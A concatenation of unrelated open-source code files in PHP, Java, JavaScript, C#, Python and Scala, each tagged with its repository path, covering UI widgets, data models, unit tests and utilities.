'Deportes'=> [ // 'Juveniles' => 0, // 'AdultosMayores' => 0, // 'Especiales' => 0, // 'Total' => 0 // ], // 'Cultura' =>[ // 'Juveniles' => 0, // 'AdultosMayores' => 0, // 'Especiales' => 0, // 'Total' => 0 // ], // 'Total' => 0 // ] // ]; // foreach ($eventos as $item) // { // $sum = 0; // $cantEquipos = count($item->getEquipos()); // if ($item->getTorneo()->getArea()=="Deportes"){ // if ($item->getTorneo()->getSubArea()=="Adultos Mayores"){ // $totalPlazas["Disponibles"]["Deportes"]["AdultosMayores"] += 24; // $totalPlazas["Finalistas"]["Deportes"]["AdultosMayores"] += $cantEquipos; // $sum = 24; // }else{ // if ($item->getEventoAdaptado()){ // $totalPlazas["Disponibles"]["Deportes"]["Especiales"]+=12; // $totalPlazas["Finalistas"]["Deportes"]["Especiales"] += $cantEquipos; // }else{ // $totalPlazas["Disponibles"]["Deportes"]["Juveniles"]+=12; // $totalPlazas["Finalistas"]["Deportes"]["Juveniles"] += $cantEquipos; // } // $sum = 12; // } // $totalPlazas["Disponibles"]["Deportes"]["Total"] += $sum; // $totalPlazas["Finalistas"]["Deportes"]["Total"] += $cantEquipos; // }else{ // if ($item->getTorneo()->getSubArea()=="Adultos Mayores"){ // $totalPlazas["Disponibles"]["Cultura"]["AdultosMayores"]+=24; // $totalPlazas["Finalistas"]["Cultura"]["AdultosMayores"] += $cantEquipos; // $sum = 24; // }else{ // if ($item->getEventoAdaptado()){ // $totalPlazas["Disponibles"]["Cultura"]["Especiales"]+=12; // $totalPlazas["Finalistas"]["Cultura"]["Especiales"] += $cantEquipos; // }else{ // $totalPlazas["Disponibles"]["Cultura"]["Juveniles"]+=12; // $totalPlazas["Finalistas"]["Cultura"]["Juveniles"] += $cantEquipos; // } // $sum = 12; // } // $totalPlazas["Disponibles"]["Cultura"]["Total"] += $sum; // $totalPlazas["Finalistas"]["Cultura"]["Total"] += $cantEquipos; // } // $totalPlazas["Disponibles"]["Total"] += $sum; // $totalPlazas["Finalistas"]["Total"] += $cantEquipos; // } // return $totalPlazas; } }
gpl-3.0
TheRabbitologist/IceAndShadow2
java/iceandshadow2/ias/blocks/IaSBlockAltar.java
1525
package iceandshadow2.ias.blocks; import iceandshadow2.EnumIaSModule; import net.minecraft.block.material.Material; import net.minecraft.client.renderer.texture.IIconRegister; import net.minecraft.util.IIcon; import net.minecraft.world.IBlockAccess; import net.minecraftforge.common.util.ForgeDirection; import cpw.mods.fml.relauncher.Side; import cpw.mods.fml.relauncher.SideOnly; /* * A block to provide the formfactor for the altars used in Ice and Shadow. */ public class IaSBlockAltar extends IaSBaseBlockSingle { @SideOnly(Side.CLIENT) protected IIcon iconTop, iconSide, iconBottom; protected IaSBlockAltar(EnumIaSModule mod, String id) { super(mod, id, Material.rock); setBlockBounds(0.0F, 0.0F, 0.0F, 1.0F, 0.75F, 1.0F); setLightOpacity(7); } @Override @SideOnly(Side.CLIENT) public IIcon getIcon(int par1, int par2) { return par1 == 0 ? iconBottom : par1 == 1 ? iconTop : blockIcon; } @Override public int getMobilityFlag() { return 0; } @Override public boolean isOpaqueCube() { return false; } @Override public boolean isSideSolid(IBlockAccess world, int x, int y, int z, ForgeDirection side) { return side == ForgeDirection.DOWN; } @Override @SideOnly(Side.CLIENT) public void registerBlockIcons(IIconRegister reg) { iconTop = reg.registerIcon("IceAndShadow2:" + getModName() + "Top"); iconSide = reg.registerIcon("IceAndShadow2:" + getModName() + "Side"); iconBottom = reg.registerIcon("IceAndShadow2:" + getModName() + "Bottom"); blockIcon = iconSide; } }
gpl-3.0
omriabnd/UCCA-App
Client/src/app/pages/form/inputs/widgets/select/SelectpickerPanelCtrl.js
1119
/* Copyright (C) 2017 Omri Abend, The Rachel and Selim Benin School of Computer Science and Engineering, The Hebrew University. */ (function () { 'use strict'; angular.module('zAdmin.pages.form') .controller('SelectpickerPanelCtrl', SelectpickerPanelCtrl); /** @ngInject */ function SelectpickerPanelCtrl() { var vm = this; vm.standardSelectItems = [ { label: 'Option 1', value: 1 }, { label: 'Option 2', value: 2 }, { label: 'Option 3', value: 3 }, { label: 'Option 4', value: 4 }, ]; vm.selectWithSearchItems = [ { label: 'Hot Dog, Fries and a Soda', value: 1 }, { label: 'Burger, Shake and a Smile', value: 2 }, { label: 'Sugar, Spice and all things nice', value: 3 }, { label: 'Baby Back Ribs', value: 4 }, ]; vm.groupedSelectItems = [ { label: 'Group 1 - Option 1', value: 1, group: 'Group 1' }, { label: 'Group 2 - Option 2', value: 2, group: 'Group 2' }, { label: 'Group 1 - Option 3', value: 3, group: 'Group 1' }, { label: 'Group 2 - Option 4', value: 4, group: 'Group 2' }, ]; } })();
gpl-3.0
gigascorp/fiscal-cidadao
web/FiscalCidadaoWCF/Model/Denuncia.cs
608
using System; using System.Collections.Generic; using System.ComponentModel.DataAnnotations.Schema; using System.Linq; using System.Web; namespace FiscalCidadaoWCF.Models { [Table("Denuncia")] public class Denuncia { public int Id { get; set; } public string Comentarios { get; set; } public DateTime Data { get; set; } public List<DenunciaFoto> Fotos { get; set; } public int ConvenioId { get; set; } public Convenio Convenio { get; set; } public int? UsuarioId { get; set; } public Usuario Usuario { get; set; } } }
gpl-3.0
gpimblott/TechRadar
dao/role.js
331
"use strict"; const dbHelper = require('../utils/dbhelper.js'); /** * Database routines for 'Role's' */ const Role = function () { }; /** * Get all the Roles * @param done function to call with the results */ Role.getAll = function(done) { dbHelper.getAllFromTable("roles", done, "name" ); }; module.exports = Role;
gpl-3.0
Florianboux/zds-site
zds/mp/tests/tests_models.py
7400
# coding: utf-8 from django.test import TestCase from django.core.urlresolvers import reverse from math import ceil from zds.member.factories import ProfileFactory from zds.mp.factories import PrivateTopicFactory, PrivatePostFactory from zds.mp.models import mark_read, never_privateread from zds.utils import slugify from zds import settings # by moment, i wrote the scenario to be simpler class PrivateTopicTest(TestCase): def setUp(self): # scenario - topic1 : # post1 - user1 - unread # post2 - user2 - unread self.profile1 = ProfileFactory() self.profile2 = ProfileFactory() self.topic1 = PrivateTopicFactory(author=self.profile1.user) self.topic1.participants.add(self.profile2.user) self.post1 = PrivatePostFactory( privatetopic=self.topic1, author=self.profile1.user, position_in_topic=1) self.post2 = PrivatePostFactory( privatetopic=self.topic1, author=self.profile2.user, position_in_topic=2) def test_unicode(self): self.assertEqual(self.topic1.__unicode__(), self.topic1.title) def test_absolute_url(self): url = reverse( 'zds.mp.views.topic', args=[self.topic1.pk, slugify(self.topic1.title)]) self.assertEqual(self.topic1.get_absolute_url(), url) def test_post_count(self): self.assertEqual(2, self.topic1.get_post_count()) def test_get_last_answer(self): topic = PrivateTopicFactory(author=self.profile2.user) PrivatePostFactory( privatetopic=topic, author=self.profile2.user, position_in_topic=1) self.assertEqual(self.post2, self.topic1.get_last_answer()) self.assertNotEqual(self.post1, self.topic1.get_last_answer()) self.assertIsNone(topic.get_last_answer()) def test_first_post(self): topic = PrivateTopicFactory(author=self.profile2.user) self.assertEqual(self.post1, self.topic1.first_post()) self.assertIsNone(topic.first_post()) def test_last_read_post(self): # scenario - topic1 : # post1 - user1 - unread # post2 - user2 - unread self.assertEqual( self.post1, self.topic1.last_read_post(self.profile1.user)) # scenario - topic1 : # post1 - user1 - read # post2 - user2 - read mark_read(self.topic1, user=self.profile1.user) self.assertEqual( self.post2, self.topic1.last_read_post(self.profile1.user)) # scenario - topic1 : # post1 - user1 - read # post2 - user2 - read # post3 - user2 - unread PrivatePostFactory( privatetopic=self.topic1, author=self.profile2.user, position_in_topic=3) self.assertEqual( self.post2, self.topic1.last_read_post(self.profile1.user)) def test_first_unread_post(self): # scenario - topic1 : # post1 - user1 - unread # post2 - user2 - unread self.assertEqual( self.post1, self.topic1.first_unread_post(self.profile1.user)) # scenario - topic1 : # post1 - user1 - read # post2 - user2 - read # post3 - user2 - unread mark_read(self.topic1, self.profile1.user) post3 = PrivatePostFactory( privatetopic=self.topic1, author=self.profile2.user, position_in_topic=3) self.assertEqual( post3, self.topic1.first_unread_post(self.profile1.user)) def test_alone(self): topic2 = PrivateTopicFactory(author=self.profile1.user) self.assertFalse(self.topic1.alone()) self.assertTrue(topic2.alone()) def test_never_read(self): # scenario - topic1 : # post1 - user1 - unread # post2 - user2 - unread self.assertTrue(self.topic1.never_read(self.profile1.user)) # scenario - topic1 : # post1 - user1 - read # post2 - user2 - read mark_read(self.topic1, self.profile1.user) self.assertFalse(self.topic1.never_read(self.profile1.user)) # scenario - topic1 : # post1 - user1 - read # post2 - user2 - read # post3 - user2 - unread PrivatePostFactory( privatetopic=self.topic1, author=self.profile2.user, position_in_topic=3) self.assertTrue(self.topic1.never_read(self.profile1.user)) class PrivatePostTest(TestCase): def setUp(self): # scenario - topic1 : # post1 - user1 - unread # post2 - user2 - unread self.profile1 = ProfileFactory() self.profile2 = ProfileFactory() self.topic1 = PrivateTopicFactory(author=self.profile1.user) self.topic1.participants.add(self.profile2.user) self.post1 = PrivatePostFactory( privatetopic=self.topic1, author=self.profile1.user, position_in_topic=1) self.post2 = PrivatePostFactory( privatetopic=self.topic1, author=self.profile2.user, position_in_topic=2) def test_unicode(self): title = u'<Post pour "{0}", #{1}>'.format( self.post1.privatetopic, self.post1.pk) self.assertEqual(title, self.post1.__unicode__()) def test_absolute_url(self): page = int( ceil( float( self.post1.position_in_topic) / settings.ZDS_APP['forum']['posts_per_page'])) url = '{0}?page={1}#p{2}'.format( self.post1.privatetopic.get_absolute_url(), page, self.post1.pk) self.assertEqual(url, self.post1.get_absolute_url()) class FunctionTest(TestCase): def setUp(self): # scenario - topic1 : # post1 - user1 - unread # post2 - user2 - unread self.profile1 = ProfileFactory() self.profile2 = ProfileFactory() self.topic1 = PrivateTopicFactory(author=self.profile1.user) self.topic1.participants.add(self.profile2.user) self.post1 = PrivatePostFactory( privatetopic=self.topic1, author=self.profile1.user, position_in_topic=1) self.post2 = PrivatePostFactory( privatetopic=self.topic1, author=self.profile2.user, position_in_topic=2) def test_never_privateread(self): self.assertTrue(never_privateread(self.topic1, self.profile1.user)) mark_read(self.topic1, self.profile1.user) self.assertFalse(never_privateread(self.topic1, self.profile1.user)) def test_mark_read(self): self.assertTrue(self.topic1.never_read(self.profile1.user)) # scenario - topic1 : # post1 - user1 - read # post2 - user2 - read mark_read(self.topic1, self.profile1.user) self.assertFalse(self.topic1.never_read(self.profile1.user)) # scenario - topic1 : # post1 - user1 - read # post2 - user2 - read # post3 - user2 - unread PrivatePostFactory( privatetopic=self.topic1, author=self.profile2.user, position_in_topic=3) self.assertTrue(self.topic1.never_read(self.profile1.user))
gpl-3.0
azub/matrix2viz
js/Cell.js
1766
/** * * @param cellData * @param cellRow * @param cellColumn * @param ctx * @param ctxOverlay * @param position * @param size * @param renderFn - * @constructor */ function Cell(cellData, cellRow, cellColumn, ctx, ctxOverlay, position, size, renderFn) { this.ctx = ctx; this.ctxOverlay = ctxOverlay; this.data = cellData; this.row = cellRow; this.column = cellColumn; this.position = position; this.size = size; this.renderCellContent = renderFn; } /** * */ Cell.prototype.draw = function () { this.drawOn(this.ctx); }; Cell.prototype.drawOn = function (ctx) { ctx.save(); ctx.translate(this.position.x, this.position.y); // TODO: Allow drawing only within rectangle specified by size. // User provided drawing function. this.renderCellContent(ctx, this.data, this.row, this.column, this.size); ctx.restore() }; /** * TODO: provide more defaults, allow overriding. */ Cell.prototype.highlight = function () { this.ctxOverlay.save(); this.ctxOverlay.translate(this.position.x, this.position.y); this.renderCellContentHighlight(this.ctxOverlay, this.data, this.row, this.column, this.size); this.ctxOverlay.restore() }; /** * */ Cell.prototype.clearHighlight = function () { this.ctxOverlay.save(); this.ctxOverlay.translate(this.position.x, this.position.y); this.ctxOverlay.clearRect(0, 0, this.size.width, this.size.height); this.ctxOverlay.restore() }; /** * * @param ctx * @param data * @param row * @param column * @param size */ Cell.prototype.renderCellContentHighlight = function (ctx, data, row, column, size) { ctx.strokeStyle = "rgb(0,0,0)"; ctx.lineWidth = 1; ctx.strokeRect(0.5, 0.5, size.width - 1, size.height - 1); };
gpl-3.0
lightblue-platform/lightblue-migrator
lightblue-migration-monitor/src/main/java/com/redhat/lightblue/migrator/monitor/Main.java
1027
package com.redhat.lightblue.migrator.monitor; import org.apache.commons.cli.HelpFormatter; import com.redhat.lightblue.migrator.monitor.HIR.HIRMonitor; import com.redhat.lightblue.migrator.monitor.NMP.NMPMonitor; public class Main { public static void main(String[] args) throws Exception { MonitorConfiguration cfg = MonitorConfiguration.processArguments(args); if (cfg == null) { printHelp(); return; } cfg.applyProperties(System.getProperties()); switch (cfg.getType()) { case NEW_MIGRATION_PERIODS: new NMPMonitor(cfg).runCheck(new NagiosNotifier()); break; case HIGH_INCONSISTENCY_RATE: new HIRMonitor(cfg).runCheck(new NagiosNotifier()); break; } } private static void printHelp() { HelpFormatter formatter = new HelpFormatter(); formatter.printHelp(Main.class.getSimpleName(), MonitorConfiguration.options, true); } }
gpl-3.0
patschwork/meta_grid
meta_grid/models/Bracket.php
977
<?php namespace app\models; use Yii; /** * This is the model class for table "bracket". */ class Bracket extends \app\models\base\Bracket { public static function findOne($condition) { $model=static::findByCondition($condition)->one(); if ( (isset($model)) || (Yii::$app->User->identity->isAdmin)) { return $model; } else { throw new \yii\web\ForbiddenHttpException(Yii::t('yii', 'You have no permission for this data.')); return null; } } public static function find() { $permProjectsCanSee = Yii::$app->User->identity->permProjectsCanSee; $obj=Yii::createObject(yii\db\ActiveQuery::className(), [get_called_class()]); if (!Yii::$app->User->identity->isAdmin) { $obj->Where([ 'in','fk_project_id', $permProjectsCanSee ]); } return $obj; } public static function findBySql($sql, $params = []) { throw new \yii\web\ForbiddenHttpException(Yii::t('yii', 'Implementation deactivated.')); return null; } }
gpl-3.0
atomist/artifact-source
src/main/scala/com/atomist/source/artifact.scala
5041
package com.atomist.source import java.io.{ByteArrayInputStream, InputStream} import java.nio.charset.Charset import com.atomist.util.Utils.StringImprovements import org.apache.commons.io.{FilenameUtils, IOUtils} import resource._ /** * Represents a file or directory artifact. */ sealed trait Artifact { val name: String /** * Java file path convention, including name. * Does not include initial /. */ def path: String /** * Identifier, with meaning specific to implementations. */ def uniqueId: Option[String] = None /** * Directory path above this artifact. May be empty if we are in the root. * If it's a directory, will include the name of the directory. */ val pathElements: Seq[String] def parentPathElements: Seq[String] def isInRoot: Boolean = pathElements.isEmpty } trait FileArtifact extends Artifact { import FileArtifact._ /** * Is the content cached in this artifact? */ def isCached: Boolean = false override def path: String = (if (pathElements.nonEmpty) pathElements.mkString("/") + "/" else "") + name /** * May not be efficient if streamed. */ def content: String def contentLength: Long /** * Returns an InputStream for this resource. Should be closed after use. */ def inputStream(): InputStream def mode: Int = DefaultMode override final def equals(o: Any): Boolean = o match { case fa: FileArtifact => fa.path.equals(this.path) && sameContentsAs(fa) case _ => false } override def hashCode(): Int = path.hashCode + content.hashCode override final def parentPathElements: Seq[String] = pathElements protected def sameContentsAs(fa: FileArtifact): Boolean = { val sf1 = StringFileArtifact(this) val sf2 = StringFileArtifact(fa) sf1.content.equals(sf2.content) } def withContent(newContent: String) = StringFileArtifact(this.name, this.pathElements, newContent, this.mode, this.uniqueId) def withContent(newContent: Array[Byte]) = ByteArrayFileArtifact(this.name, this.pathElements, newContent, this.mode, this.uniqueId) def withPath(pathName: String): FileArtifact = this match { case _: StringFileArtifact => StringFileArtifact(pathName, this.content, this.mode, this.uniqueId) case _ => val base = ByteArrayFileArtifact(this) val npath = NameAndPathElements(pathName) base.copy(name = npath.name, pathElements = npath.pathElements) } def withMode(mode: Int): FileArtifact = this match { case _: StringFileArtifact => StringFileArtifact(this.name, this.pathElements, this.content, mode, this.uniqueId) case _ => val base = ByteArrayFileArtifact(this) base.copy(mode = mode) } def withUniqueId(id: String): FileArtifact = this match { case _: StringFileArtifact => StringFileArtifact(this.name, this.pathElements, this.content, mode, Some(id)) case _ => val base = ByteArrayFileArtifact(this) base.copy(uniqueId = Some(id)) } override def toString = s"${getClass.getSimpleName}:path='[$path]';contentLength=${content.length},mode=$mode,uniqueId=$uniqueId" } object FileArtifact { val DefaultMode = 33188 val ExecutableMode = 33261 def validatePath(path: String): Unit = require(!(path == null || path.startsWith("./") || path.contains("../") || FilenameUtils.normalize(path) == null), s"Path must not contain relative path elements: $path") } trait StreamedFileArtifact extends FileArtifact { final override def content: String = managed(inputStream()).acquireAndGet(IOUtils.toString(_, Charset.defaultCharset()).toSystem) } trait NonStreamedFileArtifact extends FileArtifact { final override def inputStream() = new ByteArrayInputStream(content.toSystem.getBytes()) } trait DirectoryArtifact extends Artifact with ArtifactContainer { override def path: String = if (pathElements.nonEmpty) pathElements.mkString("/") else "" override final def parentPathElements: Seq[String] = pathElements dropRight 1 override protected def relativeToFullPath(pathElements: Seq[String]): Seq[String] = this.pathElements ++ pathElements override def toString: String = s"${getClass.getSimpleName}(${System.identityHashCode(this)}):path(${pathElements.size})='${pathElements.mkString(",")}';" + s"${artifacts.size} artifacts=[${artifacts.map(_.name).mkString(",")}]" } /** * Usable when constructing new FileArtifact instances. */ case class NameAndPathElements(name: String, pathElements: Seq[String]) object NameAndPathElements { def apply(pathName: String): NameAndPathElements = { require(Option(pathName).exists(_.trim.nonEmpty), "Path may not be null or empty") val stripped = if (pathName.startsWith("/")) pathName.substring(1) else pathName require(!stripped.isEmpty, "Path may not contain only /") val splitPath = stripped.split("/") val name = splitPath.last val pathElements = splitPath.dropRight(1).toSeq NameAndPathElements(name, pathElements) } }
gpl-3.0
jpan127/Pear
test/models/rmp_test.rb
117
require 'test_helper' class RmpTest < ActiveSupport::TestCase # test "the truth" do # assert true # end end
gpl-3.0
Jazende/ProjectEuler
solved/000-099/problem_071.py
754
def problem_71(target= 1000000): from itertools import product cur_closest = 0 info_closest = (0, 1) target_value = 3/7 count =0 for j in range(1, target+1): min_bound = int(round((j*info_closest[0])/info_closest[1]))-1 max_bound = int(round(((j*3))/7))+1 for i in range(min_bound, max_bound): count += 1 if cur_closest < i/j < target_value: cur_closest = i/j info_closest=(i, j) print(count) for i in range(2, int(round(info_closest[0]+1/2))+1): while (info_closest[0]%i==0) and (info_closest[1]%i==0): info_closest = (int(info_closest[0]/i), int(info_closest[1]/i)) return (cur_closest, info_closest) problem_71()
gpl-3.0
nagyistoce/netzob
src/netzob/UI/Vocabulary/Views/Partitioning/SequenceAlignmentView.py
4876
# -*- coding: utf-8 -*- #+---------------------------------------------------------------------------+ #| 01001110 01100101 01110100 01111010 01101111 01100010 | #| | #| Netzob : Inferring communication protocols | #+---------------------------------------------------------------------------+ #| Copyright (C) 2011 Georges Bossert and Frédéric Guihéry | #| This program is free software: you can redistribute it and/or modify | #| it under the terms of the GNU General Public License as published by | #| the Free Software Foundation, either version 3 of the License, or | #| (at your option) any later version. | #| | #| This program is distributed in the hope that it will be useful, | #| but WITHOUT ANY WARRANTY; without even the implied warranty of | #| MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the | #| GNU General Public License for more details. | #| | #| You should have received a copy of the GNU General Public License | #| along with this program. If not, see <http://www.gnu.org/licenses/>. | #+---------------------------------------------------------------------------+ #| @url : http://www.netzob.org | #| @contact : contact@netzob.org | #| @sponsors : Amossys, http://www.amossys.fr | #| Supélec, http://www.rennes.supelec.fr/ren/rd/cidre/ | #+---------------------------------------------------------------------------+ #+---------------------------------------------------------------------------+ #| Standard library imports #+---------------------------------------------------------------------------+ from gettext import gettext as _ import os #+---------------------------------------------------------------------------+ #| Related third party imports #+---------------------------------------------------------------------------+ from gi.repository import Gtk, Gdk import gi gi.require_version('Gtk', '3.0') from gi.repository import GObject #+---------------------------------------------------------------------------+ #| Local application imports #+---------------------------------------------------------------------------+ from netzob.Common.ResourcesConfiguration import ResourcesConfiguration class SequenceAlignmentView(object): def __init__(self, controller): ''' Constructor ''' self.builder = Gtk.Builder() self.builder.add_from_file(os.path.join( ResourcesConfiguration.getStaticResources(), "ui", "vocabulary", "partitioning", "sequenceAlignement.glade")) self._getObjects(self.builder, ["sequenceDialog", "similarity_box", "sequence_execute", "sequence_cancel", "sequence_stop", "sequence_adjustment", "sequence_scale", "sequence_spinbutton", "radiobutton4bit", "radiobutton8bit", "orphanButton", "smoothButton", "sequence_progressbar", "stage0ProgressBar", "stage1ProgressBar", "stage2ProgressBar", "stage3ProgressBar", "stage4ProgressBar", "labelStage0", "labelStage1", "labelStage2", "labelStage3", "labelStage4"]) self.controller = controller self.builder.connect_signals(self.controller) def _getObjects(self, builder, objectsList): for obj in objectsList: setattr(self, obj, builder.get_object(obj)) def run(self): self.sequenceDialog.run() def resetProgressBars(self): """Reset the initial values of all the progress bars declared in the interface.""" self.labelStage0.show() self.stage0ProgressBar.show() self.stage0ProgressBar.set_fraction(0) self.labelStage1.show() self.stage1ProgressBar.show() self.stage1ProgressBar.set_fraction(0) self.labelStage2.show() self.stage2ProgressBar.show() self.stage2ProgressBar.set_fraction(0) self.labelStage3.show() self.stage3ProgressBar.show() self.stage3ProgressBar.set_fraction(0) self.labelStage4.show() self.stage4ProgressBar.show() self.stage4ProgressBar.set_fraction(0) self.sequence_progressbar.set_fraction(0)
gpl-3.0
gamesun/flat-ui
main_window.py
4967
#!/usr/bin/env python # -*- coding: UTF-8 -*- # """ """ import sys, os, io import ntpath from PyQt4 import QtCore,QtGui from PyQt4.QtCore import Qt class BtnTitlebar(QtGui.QPushButton): def __init__(self, *args, **kwargs): super(BtnTitlebar, self).__init__(*args, **kwargs) self.m_ishover = False def paintEvent(self, evt): super(BtnTitlebar, self).paintEvent(evt) def isHover(self): return self.m_ishover def enterEvent(self, evt): self.m_ishover = True def leaveEvent(self, evt): self.m_ishover = False class BtnMinimize(BtnTitlebar): def __init__(self, *args, **kwargs): super(BtnMinimize, self).__init__(*args, **kwargs) def paintEvent(self, evt): super(BtnMinimize, self).paintEvent(evt) painter = QtGui.QPainter(self) if self.isDown() or self.isHover(): painter.fillRect(QtCore.QRect(10,14,8,2), QtGui.QColor("#FFFFFF")) else: painter.fillRect(QtCore.QRect(10,14,8,2), QtGui.QColor("#282828")) class BtnClose(BtnTitlebar): def __init__(self, *args, **kwargs): super(BtnClose, self).__init__(*args, **kwargs) def paintEvent(self, evt): super(BtnClose, self).paintEvent(evt) painter = QtGui.QPainter(self) if self.isDown() or self.isHover(): painter.setPen(QtGui.QPen(QtGui.QBrush(QtGui.QColor("#FFFFFF")), 1.42)) else: painter.setPen(QtGui.QPen(QtGui.QBrush(QtGui.QColor("#282828")), 1.42)) painter.drawLine(15,10,20,15) painter.drawPoint(14,9) painter.drawPoint(21,15) painter.drawLine(20,10,15,15) painter.drawPoint(21,9) painter.drawPoint(14,15) class MainWindow(QtGui.QWidget): def __init__(self): QtGui.QWidget.__init__(self) # initial position self.m_DragPosition=self.pos() self.m_drag = False self.resize(552,245) self.setWindowFlags(Qt.FramelessWindowHint) self.setMouseTracking(True) self.setStyleSheet("QWidget{background-color:#2C3E50;}") # self.setWindowTitle() # self.setWindowIcon(QtGui.QIcon()) qlbl_title = QtGui.QLabel("Title", self) qlbl_title.setGeometry(0,0,552,40) qlbl_title.setStyleSheet("QLabel{background-color:#4a93ca;" "border:none;" "color:#ffffff;" "font:bold;" "font-size:16px;" "font-family:Meiryo UI;" "qproperty-alignment:AlignCenter;}") self.qbtn_minimize=BtnMinimize(self) self.qbtn_minimize.setGeometry(476,0,28,24) self.qbtn_minimize.setStyleSheet("QPushButton{background-color:#4a93ca;" "border:none;" # "color:#000000;" "font-size:12px;" "font-family:Tahoma;}" "QPushButton:hover{background-color:#295e87;}" "QPushButton:pressed{background-color:#204a6a;}") self.qbtn_close=BtnClose(self) self.qbtn_close.setGeometry(505,0,36,24) self.qbtn_close.setStyleSheet("QPushButton{background-color:#4a93ca;" "border:none;" # "color:#ffffff;" "font-size:12px;" "font-family:Tahoma;}" "QPushButton:hover{background-color:#ea5e00;}" "QPushButton:pressed{background-color:#994005;}") self.qbtn_minimize.clicked.connect(self.btnClicked_minimize) self.qbtn_close.clicked.connect(self.btnClicked_close) # reload method to support window draging def mousePressEvent(self, event): if event.button()==Qt.LeftButton: self.m_drag=True self.m_DragPosition=event.globalPos()-self.pos() event.accept() def mouseMoveEvent(self, QMouseEvent): if QMouseEvent.buttons() and Qt.LeftButton and self.m_drag: self.move(QMouseEvent.globalPos()-self.m_DragPosition) QMouseEvent.accept() def mouseReleaseEvent(self, QMouseEvent): self.m_drag=False def btnClicked_minimize(self): self.showMinimized() def btnClicked_close(self): os._exit(0) if __name__=="__main__": mapp=QtGui.QApplication(sys.argv) mw=MainWindow() mw.show() sys.exit(mapp.exec_())
gpl-3.0
DAINTINESS-Group/ArktosII_Java
Engine/Aggregate/SortAggregate.java
2596
package Aggregate; import java.io.BufferedReader; import java.io.File; import java.io.FileNotFoundException; import java.io.FileReader; import java.io.IOException; import java.util.LinkedList; import Sort.ExtSortWrapper; import Sort.GoogleExtSortWrapper; import Sort.UnixExtSortWrapper; import Tools.EngineCore; import Tools.RowPack; public abstract class SortAggregate extends Aggregate{ protected LinkedList<Integer> groupFields; protected int aggregateField; protected BufferedReader bf; private ExtSortWrapper esw; private String unsortedPath, sortedPath; public abstract RowPack getResultPack(); public SortAggregate(LinkedList<String> fieldsTp, int aggregField, LinkedList<Integer> grpFields){ super(fieldsTp); if(EngineCore.isWindows){ File dir = new File(System.getProperty("user.dir")+"\\Cache"); if(!dir.exists()) dir.mkdir(); File[] files = dir.listFiles(); unsortedPath = System.getProperty("user.dir")+"\\Cache\\aggregImp"+ files.length +".dt"; sortedPath = System.getProperty("user.dir")+"\\Cache\\aggregExp"+ files.length +".dt"; } else{ File dir = new File("/"+System.getProperty("user.dir")+"/Cache"); if(!dir.exists()) dir.mkdir(); File[] files = dir.listFiles(); unsortedPath = "/"+System.getProperty("user.dir")+"/Cache/aggregImp"+ files.length +".dt"; sortedPath = "/"+System.getProperty("user.dir")+"/Cache/aggregExp"+ files.length +".dt"; } groupFields = grpFields; aggregateField = aggregField; esw = getExtSortWrapper(); } public void spitData(RowPack tp){ esw.exportFile(tp.getDataPack()); } public void calculateResults(){ closeExporter(); sort(); openImporter(); } private void sort(){ try { esw.sort(); } catch (Exception e) { e.printStackTrace(); } } private void closeExporter(){ esw.closeExporter(); } private void openImporter(){ try { bf = new BufferedReader(new FileReader(sortedPath)); } catch (FileNotFoundException e) { e.printStackTrace(); } } public void closeAggregate(){ try { bf.close(); } catch (IOException e) { e.printStackTrace(); } } private ExtSortWrapper getExtSortWrapper(){ if(EngineCore.isUnixSort){ String allFlds = new String(); for(int i=0; i<groupFields.size(); i++){ allFlds += ((groupFields.get(i)+1) + ","); } return new UnixExtSortWrapper(unsortedPath, sortedPath, allFlds.substring(0, allFlds.length()-1), fieldsType); } else{ return new GoogleExtSortWrapper(unsortedPath, sortedPath, groupFields, "asc", fieldsType); } } }
gpl-3.0
mancoast/CPythonPyc_test
fail/311_test_httplib.py
13913
import errno from http import client import io import socket from unittest import TestCase from test import support HOST = support.HOST class FakeSocket: def __init__(self, text, fileclass=io.BytesIO): if isinstance(text, str): text = text.encode("ascii") self.text = text self.fileclass = fileclass self.data = b'' def sendall(self, data): self.data += data def makefile(self, mode, bufsize=None): if mode != 'r' and mode != 'rb': raise client.UnimplementedFileMode() return self.fileclass(self.text) class EPipeSocket(FakeSocket): def __init__(self, text, pipe_trigger): # When sendall() is called with pipe_trigger, raise EPIPE. FakeSocket.__init__(self, text) self.pipe_trigger = pipe_trigger def sendall(self, data): if self.pipe_trigger in data: raise socket.error(errno.EPIPE, "gotcha") self.data += data def close(self): pass class NoEOFStringIO(io.BytesIO): """Like StringIO, but raises AssertionError on EOF. This is used below to test that http.client doesn't try to read more from the underlying file than it should. """ def read(self, n=-1): data = io.BytesIO.read(self, n) if data == b'': raise AssertionError('caller tried to read past EOF') return data def readline(self, length=None): data = io.BytesIO.readline(self, length) if data == b'': raise AssertionError('caller tried to read past EOF') return data class HeaderTests(TestCase): def test_auto_headers(self): # Some headers are added automatically, but should not be added by # .request() if they are explicitly set. class HeaderCountingBuffer(list): def __init__(self): self.count = {} def append(self, item): kv = item.split(b':') if len(kv) > 1: # item is a 'Key: Value' header string lcKey = kv[0].decode('ascii').lower() self.count.setdefault(lcKey, 0) self.count[lcKey] += 1 list.append(self, item) for explicit_header in True, False: for header in 'Content-length', 'Host', 'Accept-encoding': conn = client.HTTPConnection('example.com') conn.sock = FakeSocket('blahblahblah') conn._buffer = HeaderCountingBuffer() body = 'spamspamspam' headers = {} if explicit_header: headers[header] = str(len(body)) conn.request('POST', '/', body, headers) self.assertEqual(conn._buffer.count[header.lower()], 1) class BasicTest(TestCase): def test_status_lines(self): # Test HTTP status lines body = "HTTP/1.1 200 Ok\r\n\r\nText" sock = FakeSocket(body) resp = client.HTTPResponse(sock) resp.begin() self.assertEqual(resp.read(), b"Text") self.assertTrue(resp.isclosed()) body = "HTTP/1.1 400.100 Not Ok\r\n\r\nText" sock = FakeSocket(body) resp = client.HTTPResponse(sock) self.assertRaises(client.BadStatusLine, resp.begin) def test_partial_reads(self): # if we have a lenght, the system knows when to close itself # same behaviour than when we read the whole thing with read() body = "HTTP/1.1 200 Ok\r\nContent-Length: 4\r\n\r\nText" sock = FakeSocket(body) resp = client.HTTPResponse(sock) resp.begin() self.assertEqual(resp.read(2), b'Te') self.assertFalse(resp.isclosed()) self.assertEqual(resp.read(2), b'xt') self.assertTrue(resp.isclosed()) def test_host_port(self): # Check invalid host_port for hp in ("www.python.org:abc", "www.python.org:"): self.assertRaises(client.InvalidURL, client.HTTPConnection, hp) for hp, h, p in (("[fe80::207:e9ff:fe9b]:8000", "fe80::207:e9ff:fe9b", 8000), ("www.python.org:80", "www.python.org", 80), ("www.python.org", "www.python.org", 80), ("[fe80::207:e9ff:fe9b]", 